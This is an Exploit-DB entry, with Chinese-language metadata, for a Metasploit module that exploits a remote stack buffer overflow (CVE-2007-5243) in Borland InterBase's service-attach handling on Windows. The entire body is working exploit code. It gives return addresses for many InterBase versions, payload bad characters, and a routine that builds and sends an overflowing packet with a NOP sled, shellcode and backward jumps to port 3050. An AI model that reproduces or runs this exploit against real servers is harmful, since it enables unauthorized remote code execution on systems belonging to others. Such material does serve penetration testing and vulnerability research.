标题: Borland Interbase - 'SVC_attach()' Remote Buffer Overflow (Metasploit) EDB-ID: 16449 CVE: 2007-5243 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: ib_svc_attach.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::BruteTargets

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Borland InterBase SVC_attach() Buffer Overflow',
   'Description' => %q{
    This module exploits a stack buffer overflow in Borland InterBase
    by sending a specially crafted service attach request.
   },
   'Version' => '$Revision: 9669 $',
   'Author' =>
    [
     'ramon',
     'Adriano Lima <adriano@risesecurity.org>',
    ],
   'Arch'  => ARCH_X86,
   'Platform' => 'win',
   'References' =>
    [
     [ 'CVE', '2007-5243' ],
     [ 'OSVDB', '38605' ],
     [ 'BID', '25917' ],
     [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 512,
     'BadChars' => "\x00\x2f\x3a\x40\x5c",
     'StackAdjustment' => -3500,
    },
   'Targets' =>
    [
     [ 'Brute Force', { } ],
     # 0x00403d4b pop esi; pop ebp; ret
     [
      'Borland InterBase WI-V8.1.0.257',
      { 'Length' => [ 3660, 3664 ], 'Ret' => 0x00403d4b }
     ],
     # 0x00403d4d pop esi; pop ebp; ret
     [
      'Borland InterBase WI-V8.0.0.123',
      { 'Length' => [ 3660, 3664 ], 'Ret' => 0x00403d4d }
     ],
     # 0x00403a5d pop esi; pop ebp; ret
     [
      'Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80',
      { 'Length' => [ 3660, 3664 ], 'Ret' => 0x00403a5d }
     ],
     # 0x004038fd pop esi; pop ebp; ret
     [
      'Borland InterBase WI-V7.0.1.1',
      { 'Length' => [ 3660, 3664 ], 'Ret' => 0x004038fd }
     ],
     # 0x0040390d pop esi; pop ebp; ret
     [
      'Borland InterBase WI-V6.5.0.28',
      { 'Length' => [ 2116, 2120], 'Ret' => 0x0040390d }
     ],
     # 0x00403901 pop esi; pop ebp; ret
     [
      'Borland InterBase WI-V6.0.1.6',
      { 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403901 }
     ],
     # 0x004038b1 pop esi; pop ebp; ret
     [
      'Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6 WI-O6.0.2.0',
      { 'Length' => [ 2116, 2120 ], 'Ret' => 0x004038b1 }
     ],
     # 0x00404a10 pop esi; pop ebp; ret
     [
      'Borland InterBase WI-V5.5.0.742',
      { 'Length' => [ 2216, 2120 ], 'Ret' => 0x00404a10 }
     ],
     # 0x00404a0e pop esi; pop ebp; ret
     [
      'Borland InterBase WI-V5.1.1.680',
      { 'Length' => [ 2120, 2124 ], 'Ret' => 0x00404a0e }
     ],
     # Debug
     [
      'Debug',
      { 'Length' => [ 2120 ], 'Ret' => 0xaabbccdd }
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate'  => 'Oct 03 2007'
  ))

  register_options(
   [
    Opt::RPORT(3050)
   ],
   self.class
  )

 end

 def exploit_target(target)

  target['Length'].each do |length|

   connect

   # Attach database
   op_attach = 19

   # Create database
   op_create = 20

   # Service attach
   op_service_attach = 82

   remainder = length.remainder(4)
   padding = 0

   if remainder > 0
    padding = (4 - remainder)
   end

   buf = ''

   # Operation/packet type
   buf << [op_service_attach].pack('N')

   # Id
   buf << [0].pack('N')

   # Length
   buf << [length].pack('N')

   # Nop block
   buf << make_nops(length - payload.encoded.length - 13)

   # Payload
   buf << payload.encoded

   # Jump back into the nop block
   buf << "\xe9" + [-1028].pack('V')

   # Jump back
   buf << "\xeb" + [-7].pack('c')

   # Random alpha data
   buf << rand_text_alpha(2)

   # Target
   buf << [target.ret].pack('V')

   # Padding
   buf << "\x00" * padding

   # Database parameter block

   # Length
   buf << [1024].pack('N')

   # Random alpha data
   buf << rand_text_alpha(1024)

   sock.put(buf)

   select(nil,nil,nil,4)

   handler

  end

 end

end URL: https://www.exploit-db.com/exploits/16449